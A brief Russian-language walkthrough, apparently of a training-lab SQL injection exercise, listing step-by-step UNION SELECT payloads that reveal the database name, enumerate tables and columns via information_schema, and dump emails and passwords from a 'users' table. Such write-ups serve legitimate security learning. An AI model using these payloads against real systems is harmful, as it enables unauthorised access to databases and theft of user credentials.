SQL Injection (POST/Search)

(low)

Используем строку

asd' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL-- -

чтобы вывести название базы

теперь используем строку

asd' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL from information_schema.tables where table_schema=database()-- -

чтобы узнать, какие в базе есть таблицы

на интересует users, поэтому используем следующую строку

asd' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'-- -

чтобы получить список пользователей

сдампим пароли и почты этим payload

asd' UNION SELECT NULL,email,password,NULL,NULL,NULL,NULL from users-- -